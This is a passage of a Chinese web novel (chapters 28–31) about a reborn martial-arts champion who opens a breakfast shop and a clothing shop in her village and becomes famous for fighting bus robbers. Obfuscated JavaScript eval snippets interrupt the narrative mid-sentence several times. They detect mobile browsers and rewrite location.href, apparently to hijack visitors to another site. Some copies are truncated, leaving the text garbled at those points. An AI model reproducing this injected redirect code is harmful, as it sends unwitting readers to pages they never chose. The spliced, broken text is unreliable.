秀水震惊了,同样是高中生,喻秀竹每天身上不超过五十块钱,这小孩竟然随身携带这么多钱! 不过现在不是探究这个的时候,两人结了账,抬着机器往外走。司机见了钱,脸色也和蔼了,帮他们抬着机器重新回到出租车旁。司机围着左看右看,说:“这么个铁家伙,我车上可放不下!我再给你叫辆车来。” “叫什么车!”秀水身无分文,彻底理解了刘瑞英,急赤白眼地说:“你等我来放,我保证放得下!放心不会刮坏你的车的。” 她从后备厢拖出来一袋衣服,把打浆机小心翼翼放进去。然后使出全身气力,把那袋衣服塞进了后面座位。高晟和司机看得目瞪口呆,就见秀水把自己也挤进后座,关上车门说:“快走,去车站!” 等到车站,正好赶上最后一班回怀安县的长途车。两人把衣服和机器塞进车底的货仓里,这才松了口气。秀水累得披头散发,心想,下次来打货,她一定得带根扁担。哪怕是武学奇才,背那么大一袋衣服都有点吃力。 车到怀安县城时已经快晚上十点了,秀水睡了一觉醒来,饿得发慌,这才想起来他们都忘了吃晚饭。等把货物全扛下来,她找了辆在车站附近揽货的三轮摩托车,先送高晟去棉花采购站巷子,再送自己回小庙村。 “师父,啥时候开始跟你练武?”高晟下车时还有点恋恋不舍。 “你有时间就到小庙村来找我。”秀水在三轮车上朝他挥挥手,很快就随摩托车消失在黑暗中。 三轮车开到喻家门外,刘瑞英和喻庆山都睡了,家门口一片漆黑。秀水站在楼下喊了两声,两口子才惊醒了。打开窗户朝下一看,喻庆山急忙拿着手电筒出来开门。 “睡前还在跟你妈说,也不晓得你今天回不回来。”喻庆山下楼把院门打开,又开了院子里的灯,跟秀水一起下货。等把货物都搬进家,秀水朝刘瑞英说:“妈,把车钱付一下,我身上一毛钱都没有了。” 刘瑞英忙去拿钱给了车费,又说:“还没吃饭吧?我给你下面去!” “下多点,饿死我了,中饭都没好好吃!” “哎哟!”刘瑞英忙去厨房,下了满满一大碗面条,又狠了狠心,在里头卧了三个荷包蛋,最后洒上香葱,滴了芝麻油端上桌来。 父女俩正在厨房研究那个磨浆机,刘瑞英搁下碗,过去道:“真是磨浆的电动机?真能磨豆浆?多少钱一台?” “一千二,还价到一千一百块。”秀水说。 “啧啧啧!”刘瑞英深恨自己不在现场。如果有她在,高低要凑个整数。姑娘还是太年轻了。 不过她并没有多说什么。花这么一大笔钱买电动磨浆机,就连刘瑞英这种精打细算的人都觉得值得。天天推磨,她推得够够的了,又累人又耗时间。有了这么个宝贝疙瘩,她早上说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818267|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不定能多睡一个小时。 “真的插上电就行?”喻庆山已经打来水,把机器进料仓重新擦洗了一遍。 “真的,我亲眼看别人试的。”秀水端着碗呼哧呼哧吃面条,说:“明天早上咱就用机器打浆!那个石磨子可以扔了。” “可不能扔!”刘瑞英忙说:“老辈子留下来的东西咋能扔?停电了不还得用它磨吗?” 两口子看完机器,被秀水赶去睡觉,上楼时仍然心情很激动,“这下好了,咱们在楼下开个店,早上还可以卖豆浆豆腐脑!” “对!有了机器,想打多少黄豆,就打多少黄豆!” “秀水说还可以磨米浆,赶明儿磨点糯米浆,做汤圆吃!我再给你们炸点糯米糕。秀水和秀竹都爱吃那个。” “好,家里还有大半袋糯谷,明天就去米厂打出来。” …… 第二天一早,两口子特意推迟了一小时,两点多起的床。喻庆山把泡的黄豆清洗了一遍,正在看那个磨浆机,就见秀水也下楼了。原来她怕喻庆山使不好这个机器,特意下来教他。其实也没什么好教的,太简单了,机器插上电源,把黄豆带水舀进加料仓,然后打开开关,呜的一声响,电机运转起来,进料仓的黄豆和水往下落,出浆口里流出浆来。 “哎哟我的妈!真是快呀我的妈!”刘瑞英惊喜地叫起来。 喻庆山蹲下来,用手指拈了一点米浆,在指尖上搓了搓,说:“打得真细!看,比我们磨出来的浆都细!” “这得是石磨子磨第二遍才能有这么细!”刘瑞英也说。 两口子喜不自胜。秀水却烦道:“这个还得过滤豆渣。哎,要是有那种渣浆分离的机器就好了。” “姑娘,这就可以了!”喻庆山心满意足,说:“主要是磨豆浆麻烦,滤渣又不麻烦!” 平时要磨一两个小时的黄豆,用磨浆机十分钟就打完了。刘瑞英和喻庆山简直不适应这个速度,“早知道这么快,再睡会儿起床都来得及。” “反正起来了,先把豆浆滤出来煮上吧。” 两口子完全没有了平时的匆忙,格外从容地滤起了豆渣,又对秀水说:“你再睡会儿去,包子蒸好了我们喊你。” 秀水便回楼上睡觉去了。厨房里的两人一边滤豆渣一边聊天,刘瑞英说:“也不晓得她从哪里晓得有这种机器的,真方便啊!” 喻庆山也笑眯眯的,不用推磨,早上的活计显得格外轻松,“还得是大城市!咱们怀安县城就没有这种机子。” “过两天就把店开起来吧,”刘瑞英说:“门面是现成的,营业执照五叔也帮忙办好了。碗筷我也买了。今天去买炉子吧。” “好,把开店的东西置备齐全,就等为民把桌子和凳子做好就行了。” “是了,兰英让你去别的早餐店里帮两天工,看看别人怎么做的,你打听到地方没有?” “五叔介绍了一家,我过两天去。”喻庆山心里还是有点担心,“也不晓得店子的生意会怎么样,毕竟是新修的路,还没有多少人从这里走。” “生意都是要熬的,”刘瑞英比丈夫乐观,“店子先开起来,也不费什么事。反正咱们家包子还有好几个代销点呢。房子盖好了,咱们的任务完成了!好好干几年,把大姐二哥和兰英的债还完了,我就一身轻松了……” 29. 第 29 章 等秀水起床时,已经是九点多钟。她睡足了,精神格外好,跑下楼去,就见她爸已经骑车送包子回来了。菜场里则是刘瑞英代替她去卖一天。喻庆山给她留了包子和豆腐脑,又跟秀水商量开早餐店的事,——现在家里的大事,两口子都习惯跟秀水商量一声,毕竟大姑娘干什么都很靠谱 其实该归置的他们也都归置好了,秀水没什么可操心的。她只是提了个建议,要做个大招牌挂在餐饮门头。招牌上要有自家的商标,后面放灯箱,晚上打开,来往的人都能看到“秀水豆腐包”几个字。 这又要花一笔钱,但喻庆山想了想,觉得这是招徕生意的好主意。等刘瑞英回来,两人商量了就去定做。吃完早饭,秀水便从那几大袋衣服里挑出一件衬衣和一条裤子,让喻庆山去试穿。 喻庆山摸着布料,喜笑颜开地进屋试衣服去了。过了一会儿出来,穿上了白色短袖的确良衬衫和黑色西裤。款式入时的新衣服把他衬得年轻了好几岁。显得容光焕发。秀水看了也高兴,说:“等早餐店开业,你就穿这套衣服。到时咱们店里统一用同一款围裙,显得档次高!” “干活儿哪能穿这么好的衣裳!”喻庆山不同意,“这经得起烟熏火燎?留着我走亲戚再穿。” “爸,你大胆穿,以后我们要经常穿新衣服的!”秀水说。 喻庆山心里跟喝了蜜水一样甜,依旧进屋换了旧衣裳出来,说:“你准备在旁边门面卖?这里头空荡荡的,要好好布置布置才行。” 确实要布置,不过她要先把服装店的营业执照办回来才行。唉,又要跑工商局了。 等下午刘瑞英卖完包子回来,看到后面堂屋放了一屋子衣服,秀水穿着一件水红短袖的确良衬衣,下面套一条牛仔裤,又时尚又漂亮,她差点没认出来。等她进屋,秀水便道:“妈,你也来试一套。” “我不穿!我有衣服!这个留着卖!”刘瑞英强烈反对,但最后还是没挣脱秀水的拉扯,身不由己地试了一套棉绸的衣服,轻薄得不像话,前所未有地凉快。从来没穿过这么凉快的衣服,刘瑞英就有点舍不得脱了,问:“多少钱?这上衣裤子多少钱?” “便宜着呢,批发价一套才十几块钱!”秀水说。 “十几块不是钱吗?”刘瑞英恋恋不舍地摸着布料,“咱家还欠一屁股债呢。”债没还完的人,有什么资格吃香的穿好的! 秀水却道:“穿吧,我保证,今年咱们就能把欠的钱全都还上。” 其实刘瑞英也仔细盘算过,就凭每天卖包子,有个一两年时间也能还完债,但欠别人的钱一天不还完,她就一天不安生。喻庆山也跟着劝了半天,她才终于决定留下一套棉绸衣服,——实在是太舒服了。 全家人忙碌了两天,早餐店的东西色色都配齐了,门头的招牌也安装完毕,看着很气派,而且老远就知道是早餐店。喻庆山决定去早餐店实习两天就准备开业。谁知道第二天,他们家迎来了两位尊贵的客人,怀安报社的记者姜明程和摄影记者王格非。 “在危急关头能挺身而出,是什么给了你这样的勇气?” “从小我父母就教育我,做人要正直善良。面对坏人坏事,要勇于反抗。我当时就觉得,大家都应该起来反抗他们,保护我们的生命财产安全!” “他们都带着刀,你不害怕吗?” “还是有点害怕的,但是我们人多呀。他们才四个人,我们有一车人呢,众人拾柴火焰高,我相信,我们一人一拳都能把他们打倒……” 院子里,秀水面对姜明程的提问侃侃而谈,王格非围着他们拍照。一旁的伍五叔、喻庆山和刘瑞英等人全都震惊地张着嘴,围观这一幕。 上一世,秀水作为职业综合格斗运动员,UFC金腰带获得者,世界冠军,没少接受采访。从一开始的不知所措,到后来的流畅大方,秀水太知道记者想要什么了。面对怀安报社的两位记者,她连草稿都不需要,正能量的话张口就来。 姜明程和王格非显然都非常满意。而喻庆山的心情是相当复杂。都回来两三天了!这孩子硬是没跟他提过一句!路上遇到劫匪这么大的事,她硬是没跟父母提一句! 王格非拍了不少照片,最后还特意让秀水站在新做的店铺招牌前拍了一张。然后伍五叔等人还和秀水合了张影。等采访结束,刘瑞英死活不放他们走,“留下来吃中饭!一个都不许走,都在我家吃中饭!哪有空着肚子走的道理?” 伍五叔也帮着留客。姜明程和王格非苦苦推辞,说要赶稿子,这才骑着摩托车走了。等他们离开,伍五叔便说:“庆山,庆山媳妇,你们教育了一个好孩子啊!秀水真是好样儿的,为咱们小庙村争光啊……” 说到这里,他忽然想起秀水的户口还没转过来,忙说:“庆山,孩子的户口赶紧转过来!天天磨蹭些啥,这种事还要我催你……” 以前他只觉得喻家两个姑娘长得好看还有出息,老大能干,老二聪明。现在看来不止是能干,人家还勇斗劫匪!人家还大方得体、能说会道……就说她坐在记者面前说的那些话,他伍书记就不一定做得到。那可是记者!那可是怀安日报!县委书记和县长每天都看的报纸!而他小庙村即将出现在上头了! 报纸还没有登出来,小庙村的人们就都知道了秀水见义勇为的事情。好多人都过来询问此事,顺便再看看勇斗歹徒的秀水长啥样儿。趁这个机会,喻庆山急急忙忙地把早餐店开了起来。便有一拨拨村民过来,坐在店里一边吃一边打听:秀水是怎么碰到歹徒的?她是怎么把那些人制服的?那些人最后怎么样了…… “坐夜班车遇到的,四个人都带着刀,看着可吓人了”“搜到我们家秀水了,她就喊,都起来打死他们!还有个男孩也跟着喊,大伙儿就都起来了”“也不全是咱家孩子的功劳,整辆车的人都是好人,都跟着抓强盗呢”“押到派出所去了,听说还在审”“也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822370|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是不幸中的万幸,我听了都快吓死了……” 这几天喻庆山和刘瑞英已经逼问过秀水不下五遍,因此他们自认为已经很了解事情的全过程了,给村民们答疑解惑时也讲得绘声绘色,同时手脚不停地端包子盛豆浆、收钱找零。 新开的早餐店,墙壁刷得雪白。靠里面是出餐台。两个三眼煤炉上坐着不锈钢桶,里面烧着水和汤,随时准备烫粉和面。出餐台一侧摆着面上的浇头,榨菜肉丝和卤肥肠。出餐台里侧还依次摆着桶,装着豆浆和豆腐脑。包子则放在后门外的院子里。那边还装了个水龙头,洗碗洗菜都在那里。 喻庆山没来得及去别家早餐店实习,就只抽空过去聊了片刻,留心看了一遭,就学会下粉下面了。他负责出餐,刘瑞英负责收钱找零,外加收拾碗筷和洗碗。食客大多是小庙的村民,外加周边建房的包工头们,虽然刚开店,两人也完全忙得过来。 没想到,两天后的一个早上,早餐店的顾客突然多了起来,一批批的人涌进来。有人一进来就问:“这是喻秀水的豆腐包子店吧?” “对对对!”喻庆山心花怒放,猜测新闻肯定印刷出来了。果然,对方说:“你是喻秀水的父亲?你女儿好样的!” 喻庆山搓着手笑,“感谢感谢!她也没做什么,都是大家的功劳!” “你女儿呢?不在店里?” “她今天去工商局办执照去了。” 打听完这些,大多数人便坐下点吃的,刘瑞英忙里忙外地招呼:“墙上贴了有价格表,您看看想吃啥。稀饭是免费的。” 店里的几张桌子全坐满了,有人见坐不下,就买了包子带走。一早上喻庆山和刘瑞英忙得脚不点地,脸都快笑烂了,不停回答食客们的各种问题。好多人吃完抹抹嘴,表扬道:“味道确实可以!下回再来光顾您家生意。” 到十点多钟,伍五叔也来了,喜笑颜开地拿着新出的报纸,到店里和喻庆山刘瑞英共同阅读。竟然是头版头条,报纸上详细描写了大巴车乘客勇斗劫匪的全过程,还登了秀水、高晟和姜明程的照片。 “看!”伍五叔用食指点着报纸上的字,“小庙村喻秀水同志……哈哈哈小庙村……庆山,快把秀水的户籍转过来,明天就来办这事……” 这一天早餐店的人就没断过,一波接一波的人过来打听情况,顺便坐下吃饭。喻庆山和刘瑞英大中午都没休息,赶着准备粉面,炒臊子,又重新发面准备蒸包子,——店里准备的食物都卖空了。 等秀水回来,一进早餐店就让人给围了起来。竟然还有人带了相机过来,要和她拍个合影。秀水有求必应,笑容可鞠地跟大家聊了会儿,并对他们来早餐店支持生意表示感谢,这才去了后院。 到晚上关门时,喻庆山和刘瑞英连轴转了一整天,却浑身是劲儿,一点也不觉得累。两人决定改天就骑车去城里买个镜框,把那份报纸装裱起来,挂在早餐店最醒目的位置。 30. 第 30 章 自从报纸刊发了那条新闻,秀水就切身体会到当名人的便利。 一连几天,自家早餐店门庭若市,有人专程到菜场买她的包子,去哪里都有人笑脸相迎,就连跑了好些天没办下来的服装店营业执照,都被工作人员加急办好了。为什么人人都想出名?因为出名了以后身边都是好人啊。 服装店开业在即,秀水整天东奔西走,在菜市场设代销点、定制门店招牌、简单装饰店铺……虽说都是些琐碎小事,却也耗时耗力。一连几天,她都是清早出门,傍晚才归家。 服装店的招牌安装好了后,秀水终于准备着手熨烫整理那几百件衣服了。家里没熨斗,她打算找刘兰英借,顺便给他们带几件新衣裳过去。伍家三个男人,一人送一件的确良衬衫,三个女人都是棉绸衣服。刘瑞英和喻庆山见了,自然是巴不得。家里盖房时,伍家又是出力又是借钱,这份情正愁还不清,送些衣服过去,正好还别人的情。 秀水过去说明来意,刘兰英忙把熨斗和熨衣板都找出来给她。带去的衣服伍老爹等人却是都嫌太贵重,死活不肯收。刘兰英还说:“你这个傻丫头!店子还没开张,哪有这么往外送的?况且家里刚建了房子还有债,还不快拿回去!” 秀水笑道:“姨妈,婆婆,你们明天穿着新衣服去村里走两趟,不是给我打广告吗?到时候村里人都去给我做生意,我还在乎这几件衣服吗?”好说歹说,几人才勉强收下。只有伍爱娜,见了她姐送来的花裙子,立刻试穿了,舍不得脱下来。 听见秀水有许多衣服要整理,她忙说:“姐,我明天去帮你,我最会熨衣服了!” 秀水正愁没有帮手,忙道:“好啊,到时我给你算工钱。” 刘兰英和伍婆婆忙都说:“算什么钱!她在家闲着也是看电视!明天一早就让她去!” 伍爱娜是县财会中专学校的学生,暑假在家正闲得长草,听说秀水进了许多新衣服,哪有不心动的?这位千金大小姐平时虽然懒散,但只要跟漂亮沾边的事,向来是不辞辛苦、不怕麻烦的。大清早,她穿着秀水送她的棉绸花裙子,上面搭配一件白色荷叶领衬衣,脚踩白色高跟凉鞋,撑着小花伞,婀娜多姿地走来了。 刘瑞英在早餐店门口,隔老远就看见了这个漂亮女孩,走近才认出是伍爱娜,又见她烫了刘海,涂了口红,衬着雪白皮肤,份外娇俏妩媚。刘瑞英忍不住笑:“哎哟,我还以为是哪个电影明星来了。” 伍爱娜听了更高兴,甜甜地笑,问:“姨妈,我姐呢?” 她姐正灰头土脸地在门面房里折腾蛇皮袋。三个大袋子,被几百件衣服撑得鼓鼓囊囊,秀水拎着袋子的两角,使出全身气力左摆右摆,才把衣服倒出来。伍爱娜见状也来帮忙,两人搭手把衣服铺开,再分门别类熨烫整理。 地上除了棉绸衣服,就是些衬衫裤子。伍爱娜巡视一遍,很不满意,“姐,你都去江市了,干嘛不多进些款式?连衣裙呢?牛仔外套呢?都没有?” “没来得及,”秀水把散乱的头发重新扎起来,说:“而且咱们门面太偏了,进些时髦货我怕不好卖。” “怎么不好卖了?”伍爱娜噘嘴道:“我不会买?我不会叫我的小姐妹们过来买?我们小庙村的女孩也爱漂亮的,好吧!” 秀水立刻觉得自己考虑不周,进货时竟然忘了这个时髦精!这位朋友以后很可能会成为她店里的销冠,值得好好珍惜。她忙说:“我眼光确实不如你,要不下回你陪我一起去进货吧,咱俩多看点不同的款式。” 伍爱娜立刻心花怒放,“好!你下回一定喊我,我跟你做伴去!” 她熨衣服确实很快,一看就没少干这活儿。衣服上垫一条湿毛巾,老式烙铁熨斗烧得发红,烙上去“嗤”地冒出白烟,熨出来又平整、又不会伤衣服。伍爱娜负责熨,秀水则把衣服分门别类挂到架子上,两人忙了大半天,才终于把所有衣服都整理完了。 昨天还空荡荡的三间门面房里,现在摆放着挂满衣服的架子。墙上钉了铁丝网,也挂上了搭配好的衣服:浅蓝衬衫配米白高腰裤、水红衬衫配石青牛仔裤、白衬衫配各色棉绸裙等等,看起来琳琅满目,也算个正正经经的服装店了。 秀水也没挑日子,第二天早起放了一挂鞭,就算开业了。因为被她姐请去卖服装,伍爱娜起得比上学都早,打扮得漂漂亮亮的,从村里过来时,一边走一边呼朋唤友。等到店里时,她身后已经聚集了七八个女孩,全是过来看衣服的。 一群青春少女在店里叽叽喳喳,各自挑选中意的款式和颜色,搭配好了还要问问伍爱娜的意见,然后去试衣间试穿衣服。——角落里拉了块布帘,就算试衣间。旁边立着穿衣镜,女孩们穿上新衣服,在镜子前左顾右盼,又走来走去给同伴看,一个个开心得不得了。 这动静自然把早餐店的人和路外的行人都吸引过来了。有人吃完早饭,顺脚便去服装店里看看,也有人听说那是上过报纸的喻秀水开的店,也进来闲逛。既然来了、逛了,看见衣服质量不错,价钱也实惠,又怎么会不心动呢? 上午伍婆婆也抽空过来瞅了一眼。她生怕伍爱娜年纪小,不会跟人讨价还价,给秀水卖砸了。须知喊价可是技术活儿,喊高了别人调头就走,喊低了又怕碰到些胡乱杀价的。碰到什么人该喊什么价,何时该退让到什么地步,这里头的心理博弈伍婆婆虽然不懂,却认为这不是个简单的事儿。 谁知到了店里后,才晓得秀水没按常理出牌,店里衣服竟都是定价销售的。纸牌上标得清清楚楚,衬衣三十块钱一件,裤子二十五元一条。棉绸裙二十五元,棉绸套装三十五元。伍婆婆看了这才放心。这个价钱,这个质量,可真实惠呀。伍爱娜只要不是个傻子,就能照着卖。 店里人还不少,伍婆婆看到秀水和伍爱娜都在忙,便没有进去打扰,转身回家了。她换上秀水送的那套棉绸衣服,去村里走了几趟,碰到人就急忙介绍一番:“这叫棉绸,你摸摸这料子!跟绸子一样,又比绸子凉快,洗了还不脱色!……不贵不贵!就早餐店旁边的服装店,我们儿媳妇的外甥女新开的……对对对就是报纸上登的那个喻秀水……三十五块钱一套,不还价你放心买……” 于是到了下午,小庙村的婆婆婶婶们也都来逛服装店了。价格确实实惠,比县城便宜多了。县城里三十块钱可买不到这种质量的衬衣。就是不让还价,让那些身怀绝技的大妈婶子难免觉得不够尽兴。还有棉绸衣服,好几个人试穿后,当场就拿下了。也有些爱美的年轻小嫂子,看到秀水和伍爱娜穿的衬衫搭配牛仔裤特别好看,照着原样买一套回去。 秀水和伍爱娜都穿店里的衣服,但气质完全不同。秀水眉峰挺拨,身材高挑,随便一条牛仔裤配衬衫,都显得英气勃勃。伍爱娜则皮肤白净,眉眼甜净,服装也朝娇俏妩媚的路子上靠。两人在店里站着,就是两块活招牌。她俩穿什么衣服,什么衣服就格外好卖。 两人白天卖衣服,晚上盘库存,眼看着店里的衣服一天比一天少。正商量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在记者看来,秀水无疑是非常理想的采访对象,描述现场发生的情况时简洁生动、口齿清晰,人上镜还好看。王科长等人也都屏气凝声,伸长脖子在旁观看。伍五叔凑到王科长耳边,悄声又自豪地道:“我就说她没问题!看,说得多好!” 王科长也欣慰地点头,没想到啊,好多领导干部对着摄像机都会紧张得直冒汗呢,小姑娘竟然一点也不晕镜。难怪敢在车上抓劫匪呢。 省台的记者们到底心细,最后还问起秀水,她的三节棍是从哪里学的。 “从杂志上学的,”秀水顺嘴胡诌,“家里有几本《武林》杂志,我特别喜欢看。考虑到出门不太安全,我让姨爹做了个三节棍,自己在家瞎练练。其实练得也不好,但有个棍子到底还是比空手强。而且能够制服劫匪,主要靠车上乘客同心协力……” 记者频频点头,毕竟他也没亲眼看到过车上的那一幕,但留在当地派出所的那个三节棍,看起来确实像是手工做的。 采访结束后,他们让秀水扫扫地、在早餐店和服装店各忙乎一通,取了些镜头就坐上车离开了。伍五叔把人送走后,对着院外聚集的群众大声说:“好了,大家该干嘛干嘛去,别都站这儿了。” 有个村民忙问:“伍书记,啥时候能在电视里放出来啊?” “最近,”伍五叔也不清楚,但他很自信地说:“这么大的事,肯定最近就要放出来!” 想了想,他又回头找喻庆山和刘瑞英,那两口子还有点呆呆愣愣的,没回过神。五叔凑过去小声问:“户口转过来了没有?庆山你这人!是不是瞧不起小庙村……” 喻庆山见五叔都急眼了,忙说:“我明天就回红英村开证明去!明天就去!” “五叔,就在家里吃饭!”刘瑞英忙热情留客。 “不吃了,村里还一大堆事!”五叔走了两步,又转回来,说:“别忘了把二姑娘的户口也转过来!到时候我小庙村再出个大学生,这多光荣!” 31. 第 31 章 省电视台的新闻还没播放,消息已经传开了,经常有人过来打探喻秀水是哪一位。过了几天,省台新闻播出来后,小庙村的早餐店和服装店再次迎来汹涌人流,甚至还有人从邻县过来,就为了看一眼电视里的擒匪英雄。 有位退休老干部,上来就塞给秀水两百元钱,慌得秀水赶紧丢下手里的衣服,追出去把钱还了。老人还不肯要,只说是自己的一点心意。两人在路边拉扯了半天,老人才把钱收了,转头又到店里买了几件白衬衫,临走时又带了几十个豆腐包子。 “你们养了个好女儿!”老人对喻庆山和刘瑞英说,又赠送他们一副亲手书写的书法作品。装裱好的条幅上写着“不惧危险擒凶顽,以命相搏护平安”几个大字。喻庆山满脸堆笑接过来,连连道谢,当天晚上就把条幅挂在了堂屋的墙上。 就连喻庆海、喻庆华等人看了电视,也都专程到家里来打探情况。喻庆山和刘瑞英不免要代表秀水,把那晚发生的情况再三描述,赢得几人的啧啧惊叹。后来甚至连刘瑞英的爹娘也骑自行车来了女儿家。刘其山对儿女们向来不假辞色的,这回却满脸笑容,吃饭时让秀水抽空回去,给刘家列祖列宗们磕个头,让他们保佑她平平安安。 秀水没搭理老头,迟来的深情比草贱,她可没忘了以前老两口是怎么对待自己的。刘瑞英却喜出望外,觉得爹娘终于高看自己一眼了,留他们在家吃了晚饭才回去。只是别说秀水,就连她也抽不出时间回娘家,——生意实在太好了,只能让刘家列祖列宗们等一段时间再说。 早餐店里,连着好几天都坐满了人。服装店更是人头攒动,大家七嘴八舌地找秀水聊天,有人还送来些水果吃食,仿佛粉丝见面会。还有些人害羞不敢进来,只站在店外好奇地朝里瞅,最终也都被伍爱娜热情地招呼进去了。 “姐,不进来看看衣服吗……对,那位就是见义勇为的喻秀水同志,我是她妹妹……对,这都是我姐冒着生命危险从江市进的货,质量可好了,来试试看……我们店里是卖平价服装的,不还价,这个价您说还不够实惠吗……” 这几天,伍爱娜和秀水从早到晚守在服装店,尤其伍爱娜,人乖嘴甜,百伶百俐,趁她姐和广大群众聊天的时候,她在旁边哄得人家开开心心地就把衣服买了。秀水有时候都佩服她。看她对伍爱今,动不动就骂骂咧咧,可对着进店的顾客,那叫一个亲热,天生就是做生意的一块好料子。 有天傍晚姜明程也骑车过来了,带着他的女朋友,还送了秀水一大袋水果零食。原来这段时间他也频繁被广大群众投喂,办公室里堆满了鲜花、水果、零食,以及电视观众们写来的热情洋溢的表扬信。趁此良机,姜明程对暗恋许久的女神表白,两人成功进入恋爱阶段。 在九十年代,人们对媒体报道过的好人好事就是这样满怀热忱,追捧的劲头丝毫不比后来的粉丝们差多少。秀水恭喜了他们,趁伍爱娜给女友推荐服装时,向姜明程问起了高晟,“他现在什么情况?” 她借人家的钱一直没还上,几次去棉花收购站都没找到人。倒是姜明程去学校采访过高晟,低声告诉她:“听说因为逃课,被他爸妈收拾了一顿,现在在学校补课呢。” 秀水恍然大悟,毫无同情心地哈哈大笑,这倒霉孩子!整个大巴车的人都因为这件事,或多或少得了些益处,只有悲催的高中生高晟,因为暴露行踪而遭到了一顿毒打。 转眼七月将尽,店里的衣服一天比一天少,秀水决定和伍爱娜再去江市进一批货。伍爱娜欢欣鼓舞,却是生怕她姐尽批些大路货回来,专门从家里带来几本杂志,指着上头港台明星的穿着,让秀水提前领悟,提高审美。 两人打算还是坐夜班车去。伍婆婆听说后,百般不放心,生怕两个女孩子再碰到意外。伍为民却乐呵呵地劝老娘:“你也不看看娜娜跟谁去,那可是秀水,才上了电视的!哪个不长眼的还敢上车抢他们……” 劝了半天,伍婆婆和伍老爹才同意了。当晚伍爱娜在喻家吃了晚饭,歇了会儿就出发了。喻庆山和刘瑞英骑车送他们去夜班车停靠点,秀水还顺手带了一条扁担。 她俩一上车,司机回过头来,瞧着秀水就乐了。 “这回不带三节棍了,改成扁担了?”他说:“快进来坐!” 车上好几个乘客看到秀水,都热情打招呼。有一两个是上次同车抓过劫匪的,更多的人是看了电视认出她来的。大家纷纷说:“好!你在车上,我们坐夜班车也不怕了!” 秀水也笑,举着扁担说:“兵器都准备好了。到时候咱们一起上,看哪个不长眼的还敢来打劫!” 大家路上愉快地聊着天,到后半夜才都睡着了。却是一夜平安,第二天凌晨四点,车子抵达江市,外面还一片漆黑,只有车站旁边的几个餐馆亮着灯。 伍爱娜和秀水打着呵欠,先去餐馆里点了两碗面,草草填饱肚子,然后起身奔赴服装批发市场。伍爱娜爱漂亮,是绝不肯在肩上放一条扁担的,于是秀水扛着扁担走了一路。就见朦胧曙色中,批发市场的两条街上人来人往,全是五湖四海来打货的。每个档口都灯火通明,老板和服务员成捆成捆地往外拿衣服。 一进市场,伍爱娜的双眼就灼灼发光,如同老鼠掉进米缸里。她顺着街道欢快地跑,每家档口都要进去看货,秀水则拿着扁担紧跟其后,——不跟紧不行,人多,伍爱娜又跑得快,要是把她搞丢了,秀水以死都谢不了罪。 伍爱娜心情激动,在服装档口细细挑选,看到中意的衣服还要试试,“把这件取下来我穿了看。” 店主都是做批发生意的,不耐烦服务她。若是一个人来,伍爱娜肯定不敢多嘴,但现在她身边跟着保镖,便底气十足,“不上身怎么看得出版形正不正?快取下来我试试!我们也是打货的!” 她有备而来,把棉绸裙子一解,里面就是防走光裤子和小背心,试穿衣服方便得很。两人一个挑款式,一个看质量,顺便秀水也挑些经典款让她试穿,伍爱娜便不厌其烦地试了一件又一件,一点都不叫苦叫累。 天渐渐亮了,两人没歇一口气,在街上逛着。很快秀水肩上就多了两大蛇皮袋衣服。到后来又雇了个挑夫,也挑着两个大袋子。盛夏的江市酷热难当,到了中午时分,她汗流狭背,觉得比刚跑完马拉松全程都累。反倒是平时娇滴滴的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833205|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍爱娜,依旧容光焕发战斗在挑货第一线。 “娜娜,先找地方吃个午饭吧。”秀水建议。 “吃什么饭!下午就得走,赶紧多拿点货!”伍爱娜目光坚定,一口回绝。 秀水只好饥肠辘辘地陪着她,好在市场上有卖炸糯米鸡的,她买了几个,趁伍爱娜挑衣服时,几口吃完自己那一份,算是对付了一顿中餐。在熙熙攘攘的市场上,两人又挑了些货,才终于朝外走。 前面两个挑夫各挑一担货,走得毫不费力;紧随其后的秀水用不惯扁担,挑着货物艰难行走,如同取经的沙僧;最后面的伍爱娜蓬头垢面,背着半袋衣服蹒跚而行,好像逃难的难民。一行人走去车站,把衣服扔进大巴底仓,便瘫倒在座椅上,再也起不来了。 “姐,我的脚好疼啊!”伍爱娜哭丧着脸,有气无力地喊。 “别喊了,越喊越疼!”秀水从口袋里掏出几个压扁的糯米鸡,哄她道:“吃两口就不疼了。” 